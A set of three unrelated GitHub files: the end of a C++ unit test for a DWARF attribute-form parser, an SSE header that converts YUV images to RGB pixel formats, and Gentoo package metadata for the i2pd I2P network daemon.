// offset to the signature, by reading it from a compilation unit that does
// not start at the beginning of the section.
TEST_P(DwarfForms, ref_sig8_not_first) {
info.Append(98, '*');
StartSingleAttributeDIE(GetParam(), (DwarfTag) 0x253e7b2b,
(DwarfAttribute) 0xd708d908,
dwarf2reader::DW_FORM_ref_sig8);
info.D64(0xf72fa0cb6ddcf9d6ULL);
info.Finish();
ExpectBeginCompilationUnit(GetParam(), (DwarfTag) 0x253e7b2b, 98);
EXPECT_CALL(handler, ProcessAttributeSignature(_, (DwarfAttribute) 0xd708d908,
dwarf2reader::DW_FORM_ref_sig8,
0xf72fa0cb6ddcf9d6ULL))
.InSequence(s)
.WillOnce(Return());
ExpectEndCompilationUnit();
ParseCompilationUnit(GetParam(), 98);
}
// Tests for the other attribute forms could go here.
INSTANTIATE_TEST_CASE_P(
HeaderVariants, DwarfForms,
::testing::Values(DwarfHeaderParams(kLittleEndian, 4, 2, 4),
DwarfHeaderParams(kLittleEndian, 4, 2, 8),
DwarfHeaderParams(kLittleEndian, 4, 3, 4),
DwarfHeaderParams(kLittleEndian, 4, 3, 8),
DwarfHeaderParams(kLittleEndian, 4, 4, 4),
DwarfHeaderParams(kLittleEndian, 4, 4, 8),
DwarfHeaderParams(kLittleEndian, 8, 2, 4),
DwarfHeaderParams(kLittleEndian, 8, 2, 8),
DwarfHeaderParams(kLittleEndian, 8, 3, 4),
DwarfHeaderParams(kLittleEndian, 8, 3, 8),
DwarfHeaderParams(kLittleEndian, 8, 4, 4),
DwarfHeaderParams(kLittleEndian, 8, 4, 8),
DwarfHeaderParams(kBigEndian, 4, 2, 4),
DwarfHeaderParams(kBigEndian, 4, 2, 8),
DwarfHeaderParams(kBigEndian, 4, 3, 4),
DwarfHeaderParams(kBigEndian, 4, 3, 8),
DwarfHeaderParams(kBigEndian, 4, 4, 4),
DwarfHeaderParams(kBigEndian, 4, 4, 8),
DwarfHeaderParams(kBigEndian, 8, 2, 4),
DwarfHeaderParams(kBigEndian, 8, 2, 8),
DwarfHeaderParams(kBigEndian, 8, 3, 4),
DwarfHeaderParams(kBigEndian, 8, 3, 8),
DwarfHeaderParams(kBigEndian, 8, 4, 4),
DwarfHeaderParams(kBigEndian, 8, 4, 8)));
|
{
"pile_set_name": "Github"
}
|
// Copyright 2016 Adrien Descamps
// Distributed under BSD 3-Clause License
/* You need to define the following macros before including this file:
SSE_FUNCTION_NAME
STD_FUNCTION_NAME
YUV_FORMAT
RGB_FORMAT
*/
/* You may define the following macro, which affects generated code:
SSE_ALIGNED
*/
#ifdef SSE_ALIGNED
/* Unaligned instructions seem faster, even on aligned data? */
/*
#define LOAD_SI128 _mm_load_si128
#define SAVE_SI128 _mm_stream_si128
*/
#define LOAD_SI128 _mm_loadu_si128
#define SAVE_SI128 _mm_storeu_si128
#else
#define LOAD_SI128 _mm_loadu_si128
#define SAVE_SI128 _mm_storeu_si128
#endif
#define UV2RGB_16(U,V,R1,G1,B1,R2,G2,B2) \
r_tmp = _mm_mullo_epi16(V, _mm_set1_epi16(param->v_r_factor)); \
g_tmp = _mm_add_epi16( \
_mm_mullo_epi16(U, _mm_set1_epi16(param->u_g_factor)), \
_mm_mullo_epi16(V, _mm_set1_epi16(param->v_g_factor))); \
b_tmp = _mm_mullo_epi16(U, _mm_set1_epi16(param->u_b_factor)); \
R1 = _mm_unpacklo_epi16(r_tmp, r_tmp); \
G1 = _mm_unpacklo_epi16(g_tmp, g_tmp); \
B1 = _mm_unpacklo_epi16(b_tmp, b_tmp); \
R2 = _mm_unpackhi_epi16(r_tmp, r_tmp); \
G2 = _mm_unpackhi_epi16(g_tmp, g_tmp); \
B2 = _mm_unpackhi_epi16(b_tmp, b_tmp); \
#define ADD_Y2RGB_16(Y1,Y2,R1,G1,B1,R2,G2,B2) \
Y1 = _mm_mullo_epi16(_mm_sub_epi16(Y1, _mm_set1_epi16(param->y_shift)), _mm_set1_epi16(param->y_factor)); \
Y2 = _mm_mullo_epi16(_mm_sub_epi16(Y2, _mm_set1_epi16(param->y_shift)), _mm_set1_epi16(param->y_factor)); \
\
R1 = _mm_srai_epi16(_mm_add_epi16(R1, Y1), PRECISION); \
G1 = _mm_srai_epi16(_mm_add_epi16(G1, Y1), PRECISION); \
B1 = _mm_srai_epi16(_mm_add_epi16(B1, Y1), PRECISION); \
R2 = _mm_srai_epi16(_mm_add_epi16(R2, Y2), PRECISION); \
G2 = _mm_srai_epi16(_mm_add_epi16(G2, Y2), PRECISION); \
B2 = _mm_srai_epi16(_mm_add_epi16(B2, Y2), PRECISION); \
#define PACK_RGB565_32(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4) \
{ \
__m128i red_mask, tmp1, tmp2, tmp3, tmp4; \
\
red_mask = _mm_set1_epi16((short)0xF800); \
RGB1 = _mm_and_si128(_mm_unpacklo_epi8(_mm_setzero_si128(), R1), red_mask); \
RGB2 = _mm_and_si128(_mm_unpackhi_epi8(_mm_setzero_si128(), R1), red_mask); \
RGB3 = _mm_and_si128(_mm_unpacklo_epi8(_mm_setzero_si128(), R2), red_mask); \
RGB4 = _mm_and_si128(_mm_unpackhi_epi8(_mm_setzero_si128(), R2), red_mask); \
tmp1 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpacklo_epi8(G1, _mm_setzero_si128()), 2), 5); \
tmp2 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpackhi_epi8(G1, _mm_setzero_si128()), 2), 5); \
tmp3 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpacklo_epi8(G2, _mm_setzero_si128()), 2), 5); \
tmp4 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpackhi_epi8(G2, _mm_setzero_si128()), 2), 5); \
RGB1 = _mm_or_si128(RGB1, tmp1); \
RGB2 = _mm_or_si128(RGB2, tmp2); \
RGB3 = _mm_or_si128(RGB3, tmp3); \
RGB4 = _mm_or_si128(RGB4, tmp4); \
tmp1 = _mm_srli_epi16(_mm_unpacklo_epi8(B1, _mm_setzero_si128()), 3); \
tmp2 = _mm_srli_epi16(_mm_unpackhi_epi8(B1, _mm_setzero_si128()), 3); \
tmp3 = _mm_srli_epi16(_mm_unpacklo_epi8(B2, _mm_setzero_si128()), 3); \
tmp4 = _mm_srli_epi16(_mm_unpackhi_epi8(B2, _mm_setzero_si128()), 3); \
RGB1 = _mm_or_si128(RGB1, tmp1); \
RGB2 = _mm_or_si128(RGB2, tmp2); \
RGB3 = _mm_or_si128(RGB3, tmp3); \
RGB4 = _mm_or_si128(RGB4, tmp4); \
}
#define PACK_RGB24_32_STEP1(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
RGB1 = _mm_packus_epi16(_mm_and_si128(R1,_mm_set1_epi16(0xFF)), _mm_and_si128(R2,_mm_set1_epi16(0xFF))); \
RGB2 = _mm_packus_epi16(_mm_and_si128(G1,_mm_set1_epi16(0xFF)), _mm_and_si128(G2,_mm_set1_epi16(0xFF))); \
RGB3 = _mm_packus_epi16(_mm_and_si128(B1,_mm_set1_epi16(0xFF)), _mm_and_si128(B2,_mm_set1_epi16(0xFF))); \
RGB4 = _mm_packus_epi16(_mm_srli_epi16(R1,8), _mm_srli_epi16(R2,8)); \
RGB5 = _mm_packus_epi16(_mm_srli_epi16(G1,8), _mm_srli_epi16(G2,8)); \
RGB6 = _mm_packus_epi16(_mm_srli_epi16(B1,8), _mm_srli_epi16(B2,8)); \
#define PACK_RGB24_32_STEP2(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
R1 = _mm_packus_epi16(_mm_and_si128(RGB1,_mm_set1_epi16(0xFF)), _mm_and_si128(RGB2,_mm_set1_epi16(0xFF))); \
R2 = _mm_packus_epi16(_mm_and_si128(RGB3,_mm_set1_epi16(0xFF)), _mm_and_si128(RGB4,_mm_set1_epi16(0xFF))); \
G1 = _mm_packus_epi16(_mm_and_si128(RGB5,_mm_set1_epi16(0xFF)), _mm_and_si128(RGB6,_mm_set1_epi16(0xFF))); \
G2 = _mm_packus_epi16(_mm_srli_epi16(RGB1,8), _mm_srli_epi16(RGB2,8)); \
B1 = _mm_packus_epi16(_mm_srli_epi16(RGB3,8), _mm_srli_epi16(RGB4,8)); \
B2 = _mm_packus_epi16(_mm_srli_epi16(RGB5,8), _mm_srli_epi16(RGB6,8)); \
#define PACK_RGB24_32(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
PACK_RGB24_32_STEP1(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
PACK_RGB24_32_STEP2(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
PACK_RGB24_32_STEP1(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
PACK_RGB24_32_STEP2(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
PACK_RGB24_32_STEP1(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
#define PACK_RGBA_32(R1, R2, G1, G2, B1, B2, A1, A2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6, RGB7, RGB8) \
{ \
__m128i lo_ab, hi_ab, lo_gr, hi_gr; \
\
lo_ab = _mm_unpacklo_epi8( A1, B1 ); \
hi_ab = _mm_unpackhi_epi8( A1, B1 ); \
lo_gr = _mm_unpacklo_epi8( G1, R1 ); \
hi_gr = _mm_unpackhi_epi8( G1, R1 ); \
RGB1 = _mm_unpacklo_epi16( lo_ab, lo_gr ); \
RGB2 = _mm_unpackhi_epi16( lo_ab, lo_gr ); \
RGB3 = _mm_unpacklo_epi16( hi_ab, hi_gr ); \
RGB4 = _mm_unpackhi_epi16( hi_ab, hi_gr ); \
\
lo_ab = _mm_unpacklo_epi8( A2, B2 ); \
hi_ab = _mm_unpackhi_epi8( A2, B2 ); \
lo_gr = _mm_unpacklo_epi8( G2, R2 ); \
hi_gr = _mm_unpackhi_epi8( G2, R2 ); \
RGB5 = _mm_unpacklo_epi16( lo_ab, lo_gr ); \
RGB6 = _mm_unpackhi_epi16( lo_ab, lo_gr ); \
RGB7 = _mm_unpacklo_epi16( hi_ab, hi_gr ); \
RGB8 = _mm_unpackhi_epi16( hi_ab, hi_gr ); \
}
#if RGB_FORMAT == RGB_FORMAT_RGB565
#define PACK_PIXEL \
__m128i rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8; \
\
PACK_RGB565_32(r_8_11, r_8_12, g_8_11, g_8_12, b_8_11, b_8_12, rgb_1, rgb_2, rgb_3, rgb_4) \
\
PACK_RGB565_32(r_8_21, r_8_22, g_8_21, g_8_22, b_8_21, b_8_22, rgb_5, rgb_6, rgb_7, rgb_8) \
#elif RGB_FORMAT == RGB_FORMAT_RGB24
#define PACK_PIXEL \
__m128i rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6; \
__m128i rgb_7, rgb_8, rgb_9, rgb_10, rgb_11, rgb_12; \
\
PACK_RGB24_32(r_8_11, r_8_12, g_8_11, g_8_12, b_8_11, b_8_12, rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6) \
\
PACK_RGB24_32(r_8_21, r_8_22, g_8_21, g_8_22, b_8_21, b_8_22, rgb_7, rgb_8, rgb_9, rgb_10, rgb_11, rgb_12) \
#elif RGB_FORMAT == RGB_FORMAT_RGBA
#define PACK_PIXEL \
__m128i rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8; \
__m128i rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16; \
__m128i a = _mm_set1_epi8((char)0xFF); \
\
PACK_RGBA_32(r_8_11, r_8_12, g_8_11, g_8_12, b_8_11, b_8_12, a, a, rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8) \
\
PACK_RGBA_32(r_8_21, r_8_22, g_8_21, g_8_22, b_8_21, b_8_22, a, a, rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16) \
#elif RGB_FORMAT == RGB_FORMAT_BGRA
#define PACK_PIXEL \
__m128i rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8; \
__m128i rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16; \
__m128i a = _mm_set1_epi8((char)0xFF); \
\
PACK_RGBA_32(b_8_11, b_8_12, g_8_11, g_8_12, r_8_11, r_8_12, a, a, rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8) \
\
PACK_RGBA_32(b_8_21, b_8_22, g_8_21, g_8_22, r_8_21, r_8_22, a, a, rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16) \
#elif RGB_FORMAT == RGB_FORMAT_ARGB
#define PACK_PIXEL \
__m128i rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8; \
__m128i rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16; \
__m128i a = _mm_set1_epi8((char)0xFF); \
\
PACK_RGBA_32(a, a, r_8_11, r_8_12, g_8_11, g_8_12, b_8_11, b_8_12, rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8) \
\
PACK_RGBA_32(a, a, r_8_21, r_8_22, g_8_21, g_8_22, b_8_21, b_8_22, rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16) \
#elif RGB_FORMAT == RGB_FORMAT_ABGR
#define PACK_PIXEL \
__m128i rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8; \
__m128i rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16; \
__m128i a = _mm_set1_epi8((char)0xFF); \
\
PACK_RGBA_32(a, a, b_8_11, b_8_12, g_8_11, g_8_12, r_8_11, r_8_12, rgb_1, rgb_2, rgb_3, rgb_4, rgb_5, rgb_6, rgb_7, rgb_8) \
\
PACK_RGBA_32(a, a, b_8_21, b_8_22, g_8_21, g_8_22, r_8_21, r_8_22, rgb_9, rgb_10, rgb_11, rgb_12, rgb_13, rgb_14, rgb_15, rgb_16) \
#else
#error PACK_PIXEL unimplemented
#endif
#if RGB_FORMAT == RGB_FORMAT_RGB565
#define SAVE_LINE1 \
SAVE_SI128((__m128i*)(rgb_ptr1), rgb_1); \
SAVE_SI128((__m128i*)(rgb_ptr1+16), rgb_2); \
SAVE_SI128((__m128i*)(rgb_ptr1+32), rgb_3); \
SAVE_SI128((__m128i*)(rgb_ptr1+48), rgb_4); \
#define SAVE_LINE2 \
SAVE_SI128((__m128i*)(rgb_ptr2), rgb_5); \
SAVE_SI128((__m128i*)(rgb_ptr2+16), rgb_6); \
SAVE_SI128((__m128i*)(rgb_ptr2+32), rgb_7); \
SAVE_SI128((__m128i*)(rgb_ptr2+48), rgb_8); \
#elif RGB_FORMAT == RGB_FORMAT_RGB24
#define SAVE_LINE1 \
SAVE_SI128((__m128i*)(rgb_ptr1), rgb_1); \
SAVE_SI128((__m128i*)(rgb_ptr1+16), rgb_2); \
SAVE_SI128((__m128i*)(rgb_ptr1+32), rgb_3); \
SAVE_SI128((__m128i*)(rgb_ptr1+48), rgb_4); \
SAVE_SI128((__m128i*)(rgb_ptr1+64), rgb_5); \
SAVE_SI128((__m128i*)(rgb_ptr1+80), rgb_6); \
#define SAVE_LINE2 \
SAVE_SI128((__m128i*)(rgb_ptr2), rgb_7); \
SAVE_SI128((__m128i*)(rgb_ptr2+16), rgb_8); \
SAVE_SI128((__m128i*)(rgb_ptr2+32), rgb_9); \
SAVE_SI128((__m128i*)(rgb_ptr2+48), rgb_10); \
SAVE_SI128((__m128i*)(rgb_ptr2+64), rgb_11); \
SAVE_SI128((__m128i*)(rgb_ptr2+80), rgb_12); \
#elif RGB_FORMAT == RGB_FORMAT_RGBA || RGB_FORMAT == RGB_FORMAT_BGRA || \
RGB_FORMAT == RGB_FORMAT_ARGB || RGB_FORMAT == RGB_FORMAT_ABGR
#define SAVE_LINE1 \
SAVE_SI128((__m128i*)(rgb_ptr1), rgb_1); \
SAVE_SI128((__m128i*)(rgb_ptr1+16), rgb_2); \
SAVE_SI128((__m128i*)(rgb_ptr1+32), rgb_3); \
SAVE_SI128((__m128i*)(rgb_ptr1+48), rgb_4); \
SAVE_SI128((__m128i*)(rgb_ptr1+64), rgb_5); \
SAVE_SI128((__m128i*)(rgb_ptr1+80), rgb_6); \
SAVE_SI128((__m128i*)(rgb_ptr1+96), rgb_7); \
SAVE_SI128((__m128i*)(rgb_ptr1+112), rgb_8); \
#define SAVE_LINE2 \
SAVE_SI128((__m128i*)(rgb_ptr2), rgb_9); \
SAVE_SI128((__m128i*)(rgb_ptr2+16), rgb_10); \
SAVE_SI128((__m128i*)(rgb_ptr2+32), rgb_11); \
SAVE_SI128((__m128i*)(rgb_ptr2+48), rgb_12); \
SAVE_SI128((__m128i*)(rgb_ptr2+64), rgb_13); \
SAVE_SI128((__m128i*)(rgb_ptr2+80), rgb_14); \
SAVE_SI128((__m128i*)(rgb_ptr2+96), rgb_15); \
SAVE_SI128((__m128i*)(rgb_ptr2+112), rgb_16); \
#else
#error SAVE_LINE unimplemented
#endif
#if YUV_FORMAT == YUV_FORMAT_420
#define READ_Y(y_ptr) \
y = LOAD_SI128((const __m128i*)(y_ptr)); \
#define READ_UV \
u = LOAD_SI128((const __m128i*)(u_ptr)); \
v = LOAD_SI128((const __m128i*)(v_ptr)); \
#elif YUV_FORMAT == YUV_FORMAT_422
#define READ_Y(y_ptr) \
{ \
__m128i y1, y2; \
y1 = _mm_srli_epi16(_mm_slli_epi16(LOAD_SI128((const __m128i*)(y_ptr)), 8), 8); \
y2 = _mm_srli_epi16(_mm_slli_epi16(LOAD_SI128((const __m128i*)(y_ptr+16)), 8), 8); \
y = _mm_packus_epi16(y1, y2); \
}
#define READ_UV \
{ \
__m128i u1, u2, u3, u4, v1, v2, v3, v4; \
u1 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(u_ptr)), 24), 24); \
u2 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(u_ptr+16)), 24), 24); \
u3 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(u_ptr+32)), 24), 24); \
u4 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(u_ptr+48)), 24), 24); \
u = _mm_packus_epi16(_mm_packs_epi32(u1, u2), _mm_packs_epi32(u3, u4)); \
v1 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(v_ptr)), 24), 24); \
v2 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(v_ptr+16)), 24), 24); \
v3 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(v_ptr+32)), 24), 24); \
v4 = _mm_srli_epi32(_mm_slli_epi32(LOAD_SI128((const __m128i*)(v_ptr+48)), 24), 24); \
v = _mm_packus_epi16(_mm_packs_epi32(v1, v2), _mm_packs_epi32(v3, v4)); \
}
#elif YUV_FORMAT == YUV_FORMAT_NV12
#define READ_Y(y_ptr) \
y = LOAD_SI128((const __m128i*)(y_ptr)); \
#define READ_UV \
{ \
__m128i u1, u2, v1, v2; \
u1 = _mm_srli_epi16(_mm_slli_epi16(LOAD_SI128((const __m128i*)(u_ptr)), 8), 8); \
u2 = _mm_srli_epi16(_mm_slli_epi16(LOAD_SI128((const __m128i*)(u_ptr+16)), 8), 8); \
u = _mm_packus_epi16(u1, u2); \
v1 = _mm_srli_epi16(_mm_slli_epi16(LOAD_SI128((const __m128i*)(v_ptr)), 8), 8); \
v2 = _mm_srli_epi16(_mm_slli_epi16(LOAD_SI128((const __m128i*)(v_ptr+16)), 8), 8); \
v = _mm_packus_epi16(v1, v2); \
}
#else
#error READ_UV unimplemented
#endif
#define YUV2RGB_32 \
__m128i r_tmp, g_tmp, b_tmp; \
__m128i r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2; \
__m128i r_uv_16_1, g_uv_16_1, b_uv_16_1, r_uv_16_2, g_uv_16_2, b_uv_16_2; \
__m128i y_16_1, y_16_2; \
__m128i y, u, v, u_16, v_16; \
__m128i r_8_11, g_8_11, b_8_11, r_8_21, g_8_21, b_8_21; \
__m128i r_8_12, g_8_12, b_8_12, r_8_22, g_8_22, b_8_22; \
\
READ_UV \
\
/* process first 16 pixels of first line */\
u_16 = _mm_unpacklo_epi8(u, _mm_setzero_si128()); \
v_16 = _mm_unpacklo_epi8(v, _mm_setzero_si128()); \
u_16 = _mm_add_epi16(u_16, _mm_set1_epi16(-128)); \
v_16 = _mm_add_epi16(v_16, _mm_set1_epi16(-128)); \
\
UV2RGB_16(u_16, v_16, r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2) \
r_uv_16_1=r_16_1; g_uv_16_1=g_16_1; b_uv_16_1=b_16_1; \
r_uv_16_2=r_16_2; g_uv_16_2=g_16_2; b_uv_16_2=b_16_2; \
\
READ_Y(y_ptr1) \
y_16_1 = _mm_unpacklo_epi8(y, _mm_setzero_si128()); \
y_16_2 = _mm_unpackhi_epi8(y, _mm_setzero_si128()); \
\
ADD_Y2RGB_16(y_16_1, y_16_2, r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2) \
\
r_8_11 = _mm_packus_epi16(r_16_1, r_16_2); \
g_8_11 = _mm_packus_epi16(g_16_1, g_16_2); \
b_8_11 = _mm_packus_epi16(b_16_1, b_16_2); \
\
/* process first 16 pixels of second line */\
r_16_1=r_uv_16_1; g_16_1=g_uv_16_1; b_16_1=b_uv_16_1; \
r_16_2=r_uv_16_2; g_16_2=g_uv_16_2; b_16_2=b_uv_16_2; \
\
READ_Y(y_ptr2) \
y_16_1 = _mm_unpacklo_epi8(y, _mm_setzero_si128()); \
y_16_2 = _mm_unpackhi_epi8(y, _mm_setzero_si128()); \
\
ADD_Y2RGB_16(y_16_1, y_16_2, r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2) \
\
r_8_21 = _mm_packus_epi16(r_16_1, r_16_2); \
g_8_21 = _mm_packus_epi16(g_16_1, g_16_2); \
b_8_21 = _mm_packus_epi16(b_16_1, b_16_2); \
\
/* process last 16 pixels of first line */\
u_16 = _mm_unpackhi_epi8(u, _mm_setzero_si128()); \
v_16 = _mm_unpackhi_epi8(v, _mm_setzero_si128()); \
u_16 = _mm_add_epi16(u_16, _mm_set1_epi16(-128)); \
v_16 = _mm_add_epi16(v_16, _mm_set1_epi16(-128)); \
\
UV2RGB_16(u_16, v_16, r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2) \
r_uv_16_1=r_16_1; g_uv_16_1=g_16_1; b_uv_16_1=b_16_1; \
r_uv_16_2=r_16_2; g_uv_16_2=g_16_2; b_uv_16_2=b_16_2; \
\
READ_Y(y_ptr1+16*y_pixel_stride) \
y_16_1 = _mm_unpacklo_epi8(y, _mm_setzero_si128()); \
y_16_2 = _mm_unpackhi_epi8(y, _mm_setzero_si128()); \
\
ADD_Y2RGB_16(y_16_1, y_16_2, r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2) \
\
r_8_12 = _mm_packus_epi16(r_16_1, r_16_2); \
g_8_12 = _mm_packus_epi16(g_16_1, g_16_2); \
b_8_12 = _mm_packus_epi16(b_16_1, b_16_2); \
\
/* process last 16 pixels of second line */\
r_16_1=r_uv_16_1; g_16_1=g_uv_16_1; b_16_1=b_uv_16_1; \
r_16_2=r_uv_16_2; g_16_2=g_uv_16_2; b_16_2=b_uv_16_2; \
\
READ_Y(y_ptr2+16*y_pixel_stride) \
y_16_1 = _mm_unpacklo_epi8(y, _mm_setzero_si128()); \
y_16_2 = _mm_unpackhi_epi8(y, _mm_setzero_si128()); \
\
ADD_Y2RGB_16(y_16_1, y_16_2, r_16_1, g_16_1, b_16_1, r_16_2, g_16_2, b_16_2) \
\
r_8_22 = _mm_packus_epi16(r_16_1, r_16_2); \
g_8_22 = _mm_packus_epi16(g_16_1, g_16_2); \
b_8_22 = _mm_packus_epi16(b_16_1, b_16_2); \
\
void SSE_FUNCTION_NAME(uint32_t width, uint32_t height,
const uint8_t *Y, const uint8_t *U, const uint8_t *V, uint32_t Y_stride, uint32_t UV_stride,
uint8_t *RGB, uint32_t RGB_stride,
YCbCrType yuv_type)
{
const YUV2RGBParam *const param = &(YUV2RGB[yuv_type]);
#if YUV_FORMAT == YUV_FORMAT_420
const int y_pixel_stride = 1;
const int uv_pixel_stride = 1;
const int uv_x_sample_interval = 2;
const int uv_y_sample_interval = 2;
#elif YUV_FORMAT == YUV_FORMAT_422
const int y_pixel_stride = 2;
const int uv_pixel_stride = 4;
const int uv_x_sample_interval = 2;
const int uv_y_sample_interval = 1;
#elif YUV_FORMAT == YUV_FORMAT_NV12
const int y_pixel_stride = 1;
const int uv_pixel_stride = 2;
const int uv_x_sample_interval = 2;
const int uv_y_sample_interval = 2;
#endif
#if RGB_FORMAT == RGB_FORMAT_RGB565
const int rgb_pixel_stride = 2;
#elif RGB_FORMAT == RGB_FORMAT_RGB24
const int rgb_pixel_stride = 3;
#elif RGB_FORMAT == RGB_FORMAT_RGBA || RGB_FORMAT == RGB_FORMAT_BGRA || \
RGB_FORMAT == RGB_FORMAT_ARGB || RGB_FORMAT == RGB_FORMAT_ABGR
const int rgb_pixel_stride = 4;
#else
#error Unknown RGB pixel size
#endif
if (width >= 32) {
uint32_t xpos, ypos;
for(ypos=0; ypos<(height-(uv_y_sample_interval-1)); ypos+=uv_y_sample_interval)
{
const uint8_t *y_ptr1=Y+ypos*Y_stride,
*y_ptr2=Y+(ypos+1)*Y_stride,
*u_ptr=U+(ypos/uv_y_sample_interval)*UV_stride,
*v_ptr=V+(ypos/uv_y_sample_interval)*UV_stride;
uint8_t *rgb_ptr1=RGB+ypos*RGB_stride,
*rgb_ptr2=RGB+(ypos+1)*RGB_stride;
for(xpos=0; xpos<(width-31); xpos+=32)
{
YUV2RGB_32
{
PACK_PIXEL
SAVE_LINE1
if (uv_y_sample_interval > 1)
{
SAVE_LINE2
}
}
y_ptr1+=32*y_pixel_stride;
y_ptr2+=32*y_pixel_stride;
u_ptr+=32*uv_pixel_stride/uv_x_sample_interval;
v_ptr+=32*uv_pixel_stride/uv_x_sample_interval;
rgb_ptr1+=32*rgb_pixel_stride;
rgb_ptr2+=32*rgb_pixel_stride;
}
}
/* Catch the last line, if needed */
if (uv_y_sample_interval == 2 && ypos == (height-1))
{
const uint8_t *y_ptr=Y+ypos*Y_stride,
*u_ptr=U+(ypos/uv_y_sample_interval)*UV_stride,
*v_ptr=V+(ypos/uv_y_sample_interval)*UV_stride;
uint8_t *rgb_ptr=RGB+ypos*RGB_stride;
STD_FUNCTION_NAME(width, 1, y_ptr, u_ptr, v_ptr, Y_stride, UV_stride, rgb_ptr, RGB_stride, yuv_type);
}
}
/* Catch the right column, if needed */
{
int converted = (width & ~31);
if (converted != width)
{
const uint8_t *y_ptr=Y+converted*y_pixel_stride,
*u_ptr=U+converted*uv_pixel_stride/uv_x_sample_interval,
*v_ptr=V+converted*uv_pixel_stride/uv_x_sample_interval;
uint8_t *rgb_ptr=RGB+converted*rgb_pixel_stride;
STD_FUNCTION_NAME(width-converted, height, y_ptr, u_ptr, v_ptr, Y_stride, UV_stride, rgb_ptr, RGB_stride, yuv_type);
}
}
}
#undef SSE_FUNCTION_NAME
#undef STD_FUNCTION_NAME
#undef YUV_FORMAT
#undef RGB_FORMAT
#undef SSE_ALIGNED
#undef LOAD_SI128
#undef SAVE_SI128
#undef UV2RGB_16
#undef ADD_Y2RGB_16
#undef PACK_RGB24_32_STEP1
#undef PACK_RGB24_32_STEP2
#undef PACK_RGB24_32
#undef PACK_RGBA_32
#undef PACK_PIXEL
#undef SAVE_LINE1
#undef SAVE_LINE2
#undef READ_Y
#undef READ_UV
#undef YUV2RGB_32
|
{
"pile_set_name": "Github"
}
|
BDEPEND=dev-util/ninja dev-util/cmake virtual/pkgconfig
DEFINED_PHASES=compile configure install postinst prepare pretend test
DEPEND=acct-user/i2pd acct-group/i2pd !static? ( dev-libs/boost:=[threads] !libressl? ( dev-libs/openssl:0=[-bindist] ) libressl? ( dev-libs/libressl:0= ) upnp? ( net-libs/miniupnpc:= ) ) static? ( dev-libs/boost:=[static-libs,threads] sys-libs/zlib[static-libs] !libressl? ( dev-libs/openssl:0=[static-libs] ) libressl? ( dev-libs/libressl:0=[static-libs] ) upnp? ( net-libs/miniupnpc:=[static-libs] ) )
DESCRIPTION=A C++ daemon for accessing the I2P anonymous network
EAPI=7
HOMEPAGE=https://github.com/PurpleI2P/i2pd
IUSE=cpu_flags_x86_aes cpu_flags_x86_avx i2p-hardening libressl static +upnp
KEYWORDS=~amd64 ~arm ~arm64 ~ia64 ~ppc ~ppc64 ~sparc ~x86
LICENSE=BSD
RDEPEND=acct-user/i2pd acct-group/i2pd !static? ( dev-libs/boost:=[threads] !libressl? ( dev-libs/openssl:0=[-bindist] ) libressl? ( dev-libs/libressl:0= ) upnp? ( net-libs/miniupnpc:= ) )
SLOT=0
SRC_URI=https://github.com/PurpleI2P/i2pd/archive/2.33.0.tar.gz -> i2pd-2.33.0.tar.gz
